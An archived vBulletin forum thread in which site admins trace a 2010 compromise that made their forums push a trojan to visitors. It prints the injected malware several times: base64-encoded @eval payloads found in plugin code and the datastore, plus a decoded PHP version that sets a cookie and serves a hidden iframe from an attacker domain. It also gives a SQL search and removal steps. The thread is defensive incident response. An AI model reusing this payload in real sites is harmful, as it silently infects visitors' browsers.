vb.org Archive - new 0 day exploit? (bekebu.in / cuzelu.in)

vb.org Archive (https://vborg.vbsupport.ru/index.php)

- vB3 General Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=111)

- - new 0 day exploit? (bekebu.in / cuzelu.in) (https://vborg.vbsupport.ru/showthread.php?t=245207)

new 0 day exploit? (bekebu.in / cuzelu.in)

I have noticed in the last few days my VB install has been trying to infect users with a trojan coming from bekebu.in &/or cuzelu.in

http://support.clean-mx.de/clean-mx/...n&submit=query

not sure if this was a new 0 day going around or not, but it may be worth someones time to look into this.

:eek:

--------------- Added [DATE]1277395487[/DATE] at [TIME]1277395487[/TIME] ---------------

I have blocked out the /16 that those domains are coming from and google safebrowsing doesn't come up with the malware warning anymore.

91.188.0.0/16

http://www.db.ripe.net/whois?form_ty...&submit=Search

http://www.bfk.de/bfk_dnslogger.html?query=91.188.59.55

http://www.senderbase.org/senderbase...g=91.188.59.55

What file is calling that site?

I finally found the offending code. It is in the datastore/pluginlist table. It's a base64 encoded string.

Code:

\r\n@eval(base64_decode(\"aWYgKCFpc3NldCgkX0NPT0tJRVsneGxvdiddKSkgew0KJHhiID0gYXJyYXkoJ01TSUUnLCdNeUlFJywnSUUnLCdGaXJlZm94JywnT3BlcmEnLCdOZXRzY2FwZScsJ0Nocm9tZScsJ1NhZmFyaScsJ01lZGlhIENlbnRlcicpOw0KJGlmcmFuZCA9IG10X3JhbmQoMCwxMTEpOw0KJGRvbWIgPSAiaHR0cDovL3d3dy5mZWFsYXRvYy5jby5jYy9jbG8ucGhwIjsNCmZvcmVhY2ggKCR4YiBhcyAkeGJiKSB7DQppZihzdHJzdHIoc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pLHN0cnRvbG93ZXIoJHhiYikpKSB7DQplY2hvIDw8PEhKSg0KPHNjcmlwdD4NCmZ1bmN0aW9uIFNldENvb2tpZShjb29raWVOYW1lLGNvb2tpZUNvbnRlbnQpew0KIHZhciBjb29raWVQYXRoID0gJy8nOw0KIHZhciBleHBEYXRlPW5ldyBEYXRlKCk7DQogZXhwRGF0ZS5zZXRUaW1lKGV4cERhdGUuZ2V0VGltZSgpKzM3MjgwMDAwMCkgIDsNCiB2YXIgZXhwaXJlcz1leHBEYXRlLnRvR01UU3RyaW5nKCk7DQogZG9jdW1lbnQuY29va2llPWNvb2tpZU5hbWUrIj0iK2VzY2FwZShjb29raWVDb250ZW50KSsiO3BhdGg9Iitlc2NhcGUoY29va2llUGF0aCkrIjtleHBpcmVzPSIrZXhwaXJlczsgDQp9DQpTZXRDb29raWUoInhsb3YiLCAiZGF5Iik7DQo8L3NjcmlwdD4NCjxpZnJhbWUgbmFtZT0iJGlmcmFuZCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgc2Nyb2xsaW5nPSJubyIgZnJhbWVib3JkZXI9Im5vIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIiBzcmM9IiRkb21iIj48L2lmcmFtZT4NCkhKSjsNCmJyZWFrOw0KIH0NCiB9DQp9\"));

which resulted in

Code:

if (!isset($_COOKIE['xlov'])) {

$xb = array('MSIE','MyIE','IE','Firefox','Opera','Netscape','Chrome','Safari','Media Center');

$ifrand = mt_rand(0,111);

$domb = "http: // www. fealatoc.co .cc/clo.php";

foreach ($xb as $xbb) {

if(strstr(strtolower($_SERVER['HTTP_USER_AGENT']),strtolower($xbb))) {

echo <<<HJJ

<script>

function SetCookie(cookieName,cookieContent){

 var cookiePath = '/';

 var expDate=new Date();

 expDate.setTime(expDate.getTime()+372800000)  ;

 var expires=expDate.toGMTString();

 document.cookie=cookieName+"="+escape(cookieContent)+";path="+escape(cookiePath)+";expires="+expires; 

}

SetCookie("xlov", "day");

</script>

<iframe name="$ifrand" width="1" height="1" scrolling="no" frameborder="no" marginwidth="0" marginheight="0" src="$domb"></iframe>

HJJ;

break;

 }

 }

}

--------------- Added [DATE]1277566093[/DATE] at [TIME]1277566093[/TIME] ---------------

the url in the script code is broken on purpose

--------------- Added [DATE]1277566152[/DATE] at [TIME]1277566152[/TIME] ---------------

Thanks to the people over at Tapatalk for helping me figure this out. :wink:

you're running Tapatalk on your vB? or is it just a clean install of vB?

We have been using tapatalk for a while now. Last week a few members started getting virii warnings about bekebu.in &/or cuzelu.in. A few days ago, one the admins @ tapatalk contacted us to let us know they had shut us down on their side due to the virii issue and have helped us locate some of this code.

--------------- Added [DATE]1277640262[/DATE] at [TIME]1277640262[/TIME] ---------------

fealatoc . co . cc info:

http://www.db.ripe.net/whois?form_ty...&submit=Search

http://www.bfk.de/bfk_dnslogger.html?query=91.216.122.7

Post Thanks 'Hack' got hacked.

I guess the question is- did having tapatalk installed contribute to how you got hacked, or were they just helpful in finding it? As I have tapatalk installed I'm curious too.

Tapatalk admins were very helpful with this situation. IMHO, I don't think it has anything to do with the tapatalk plugin. I think it's the post thanks `hack` that is vulnerable, but this will need to be tested and confirmed.

I am not sure either, the information are mixed, some forum didn't install Tapatalk also got hacked. But one forum found a mysterious php file are added to the Tapatalk directory that caught our attention. So we went ahead to check our packaging to make sure the directory is not writable by default (which was an oversight and only happened in one version release).

We have sent out email to all forum owners to upgrade so I hope to keep this infection to the minimum.

Your screenshot in https://vborg.vbsupport.ru/showpost....49&postcount=6 shows a Thank You plugin at the global_setup_complete hook.

There is no Thank You plugin that's using that hook.

To blame the Thank You hack for this seems misguided. You were hacked by tapatalk. Lord knows what else got corrupted in the process.

I would like to thank someDude-GP for posting that code. I have been dealing with this issue for a week on my site. You may have just helped me find this code.

I had deleted my tapatalk directory so I didn't have a possible roadmap to where they placed that code.

Searching my datastore table just now it appears that they inserted it in one of my plugins.

This is as far as I have gotten, but I am very encouraged to find a match to the code you posted.
THANK YOU. I owe you some beers.

caliman

--------------- Added [DATE]1277699440[/DATE] at [TIME]1277699440[/TIME] ---------------

In my case it was the 'Members who visted today' plugin that got infected.

The global_start hook:

Code:

if ($show['wvt'])

{

        if ($vbulletin->options['wvt24'])

        {

                $cutoff = TIMENOW - 86400;

                $whodesc = $vbphrase['wvt_visited_today_24'];

        }

        else

        {

                $whodesc = $vbphrase['wvt_visited_today'];

                $tnow = date('YmdHis',TIMENOW - intval($vbulletin->options['hourdiff'])); 

                $cutoff = TIMENOW - (substr($tnow,8,2)*3600 + substr($tnow,10,2)*60 + substr($tnow,12,2)); 

        }



        unset ($whotoday);

        $show['loggedinusers'] = true;



        if ($vbulletin->options['wvtnames']) 

        {

                $todaysusers = $vbulletin->db->query_read_slave("

                        SELECT * FROM ".TABLE_PREFIX."user FORCE INDEX (lastactivity)

                        WHERE lastactivity > $cutoff ORDER BY username

                "); 

                

                $totaltoday = 0;

                while ($today = $vbulletin->db->fetch_array($todaysusers))

                {

                        $totaltoday += 1;

                        $today['markinv'] = '';

                        $today[visible] = true ;

                        if ($today['options'] & $vbulletin->bf_misc_useroptions['invisible']) 

                        {

                                $today['visible'] = false ;

                                if (($vbulletin->userinfo['permissions']['genericpermissions'] 

                                & $vbulletin->bf_ugp_genericpermissions['canseehidden']) 

                                OR $today['userid'] == $vbulletin->userinfo['userid'])

                                {

                                        $today['markinv'] = '*';

                                        $today['visible'] = true ;

                                }

                        }

                        if ($today['visible']) 

                        {

                                $ugroup = ($today['displaygroupid'] > 0 ? $today['displaygroupid'] : $today['usergroupid']);

                                $today['opentag'] = $vbulletin->usergroupcache[$ugroup]['opentag'];

                                $today['closetag'] = $vbulletin->usergroupcache[$ugroup]['closetag'];

                                $today['wrdate'] = vbdate($vbulletin->options['timeformat'], $today['lastactivity']);

                                eval('$whotoday .= "' . fetch_template('Display_Visitors_User') . '" . ", ";');

                        }

                }



                if ($whotoday)

                {

                        $whotoday = substr($whotoday, 0, -2);

                }

                else

                {

                        $whotoday = $vbphrase['wvt_no_visitors'];

                }

        }

        else 

        {

                $todaysusers = $vbulletin->db->query_first_slave("

                        SELECT COUNT(lastactivity) AS whotoday 

                        FROM ".TABLE_PREFIX."user FORCE INDEX (lastactivity)

                        WHERE lastactivity > $cutoff

                "); 

                

                $totaltoday = $todaysusers['whotoday'];

                $whotoday = $vbphrase['wvt_no_visitors_display'];

        }



        if ($vbulletin->options['wvtcol'])

        {

                $vbcollapse['collapseimg_forumhome_todayusers'] = '_collapsed';

                $vbcollapse['collapseobj_forumhome_todayusers'] = 'display:none;';

        }



        $ftotaltoday = vb_number_format($totaltoday);

        $whotitle = construct_phrase($whodesc,$ftotaltoday);



        $pid = 'paulm_wvt_37';

        if ($pemdata37['set'] == true)

        {

                $data_wvt =& $pemdata37[$pid];

        }

        else

        {

                if ($pemdata37 = unserialize($vbulletin->options['pemdata37']))

                {

                        $pemdata37['set'] = true;

                        $data_wvt =& $pemdata37[$pid];

                }

                else

                {

                        $data_wvt = array('version' => 'N/A');

                }

         }



        if ($vbulletin->options['enable_wvt'])

        {

                $vbulletin->templatecache["{$vbulletin->options['template_wvt']}"] = str_replace($vbulletin->options['text_wvt'],

                $vbulletin->options['text_wvt'].$vbulletin->templatecache['Display_Visitors'],$vbulletin->templatecache["{$vbulletin->options['template_wvt']}"]);

        }



        if ($vbulletin->options['wvtmost'])

        { 

                if (empty($vbulletin->maxloggedin))

                {

                        if (method_exists($vbulletin->datastore,'do_fetch'))

                        { // Datastore extension exists, use it

                                $vbulletin->datastore->do_fetch('maxloggedin',$errors);

                                if ($errors[0])

                                { // Fetch failed, use original datastore

                                        $vbulletin->datastore->do_db_fetch("'maxloggedin'");

                                }

                        }

                        else

                        { // No extension, use original datastore

                                $vbulletin->datastore->do_db_fetch("'maxloggedin'");

                        }

                }



                if ($totaltoday > intval($vbulletin->maxloggedin['maxvisitors']))

                {

                        $vbulletin->maxloggedin['maxvisitorsdate'] = TIMENOW;

                        $vbulletin->maxloggedin['maxvisitors'] = $totaltoday;

                        build_datastore('maxloggedin', serialize($vbulletin->maxloggedin),1);



                }



                if ($vbulletin->options['wvtmost'])

                {

                        if ($vbulletin->options['wvt24'])

                        {

                                $description = $vbphrase['wvt_members_24'];

                        }

                        else

                        {

                                $description = $vbphrase['wvt_members_day'];

                        }



                        $visitors = construct_phrase( 

                                        $description, vb_number_format($vbulletin->maxloggedin['maxvisitors']),

                                        vbdate( $vbulletin->options['dateformat'], $vbulletin->maxloggedin['maxvisitorsdate'], true ),

                                        vbdate( $vbulletin->options['timeformat'], $vbulletin->maxloggedin['maxvisitorsdate'] ) 

                        );



                        $whotoday = $visitors . "<br />" . $whotoday;

                }

        }

}

@eval(base64_decode("aWYgKCFpc3NldCgkX0NPT0tJRVsneGxvdiddKSkgew0KJHhiID0gYXJyYXkoJ01TSUUnLCdNeUlF

JywnSUUnLCdGaXJlZm94JywnT3BlcmEnLCdOZXRzY2FwZScsJ0Nocm9tZScsJ1NhZmFyaScsJ01l

ZGlhIENlbnRlcicpOw0KJGlmcmFuZCA9IG10X3JhbmQoMCwxMTEpOw0KJGRvbWIgPSAiaHR0cDov

L3d3dy5nZXR0aWFvLmNvLmNjL3BsLnBocCI7DQpmb3JlYWNoICgkeGIgYXMgJHhiYikgew0KaWYo

c3Ryc3RyKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSxzdHJ0b2xvd2Vy

KCR4YmIpKSkgew0KJGRldmIgPSA8PDxISkoNCjxzY3JpcHQ+DQpmdW5jdGlvbiBTZXRDb29raWUo

Y29va2llTmFtZSxjb29raWVDb250ZW50KXsNCiB2YXIgY29va2llUGF0aCA9ICcvJzsNCiB2YXIg

ZXhwRGF0ZT1uZXcgRGF0ZSgpOw0KIGV4cERhdGUuc2V0VGltZShleHBEYXRlLmdldFRpbWUoKSsz

NzI4MDAwMDApICA7DQogdmFyIGV4cGlyZXM9ZXhwRGF0ZS50b0dNVFN0cmluZygpOw0KIGRvY3Vt

ZW50LmNvb2tpZT1jb29raWVOYW1lKyI9Iitlc2NhcGUoY29va2llQ29udGVudCkrIjtwYXRoPSIr

ZXNjYXBlKGNvb2tpZVBhdGgpKyI7ZXhwaXJlcz0iK2V4cGlyZXM7IA0KfQ0KU2V0Q29va2llKCJ4

bG92IiwgImRheSIpOw0KPC9zY3JpcHQ+DQo8aWZyYW1lIG5hbWU9IiRpZnJhbmQiIHdpZHRoPSIx

IiBoZWlnaHQ9IjEiIHNjcm9sbGluZz0ibm8iIGZyYW1lYm9yZGVyPSJubyIgbWFyZ2lud2lkdGg9

IjAiIG1hcmdpbmhlaWdodD0iMCIgc3JjPSIkZG9tYiI+PC9pZnJhbWU+DQpISko7DQpicmVhazsN

CiB9DQogfQ0KfQ=="));

Uninstalling the plugin did the trick. This also rebuilds the datastore.

You can search your database to look for this code by doing this:

Code:

SELECT * FROM plugin WHERE phpcode LIKE "%base64_decode%";

This should give you a result with the code and you can figure out which plugin it is in. You can verify through plugin manager. Then uninstall that plugin. That will remove this exploit and rebuild datastore. Reinstall plugin if you want after that.

Hope this helps someone. This has been absolutely brutal.

caliman

Glad I could help you find that code caliman :)

djbaxter: The Post thanks mod was only a guess. I have way too many things going on to really dig into it very much. I did notice that the tapatalk plugin was updated on 06/25/2010 though.

--------------- Added [DATE]1277730343[/DATE] at [TIME]1277730343[/TIME] ---------------

What i did was go into plugins & products --> product manager. then i found the part of the plugin that had the code and just deleted the code

Thanks again. I was serious about the beer.
I have confirmed that this removed the exploit from my site.

Thanks to both of you. While my forum wasn't showing any symptoms, I did the search using phpMyAdmin and verified that the exploit was not present on my forums.

X vBulletin 3.8.12 by vBS Debug Information
Template Usage: (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (4)bbcode_code_printable (1)footer (1)gobutton (1)header (1)headinclude (6)option (1)post_thanks_navbar_search (1)printthread (15)printthreadbit (1)spacer_close (1)spacer_open Phrase Groups Available: global postbit showthread	Included Files: ./printthread.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/class_bbcode_alt.php ./includes/class_bbcode.php ./includes/functions_bigthree.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete printthread_start bbcode_fetch_tags bbcode_create bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete printthread_post printthread_complete
Messages:

Phrase Groups Available:

X vBulletin 3.8.12 by vBS Debug Information
Page Generation 0.01223 seconds Memory Usage 1,809KB Queries Executed 10 (?)
More Information
Template Usage: (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (4)bbcode_code_printable (1)footer (1)gobutton (1)header (1)headinclude (6)option (1)post_thanks_navbar_search (1)printthread (15)printthreadbit (1)spacer_close (1)spacer_open Phrase Groups Available: global postbit showthread	Included Files: ./printthread.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/class_bbcode_alt.php ./includes/class_bbcode.php ./includes/functions_bigthree.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete printthread_start bbcode_fetch_tags bbcode_create bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete printthread_post printthread_complete
Messages: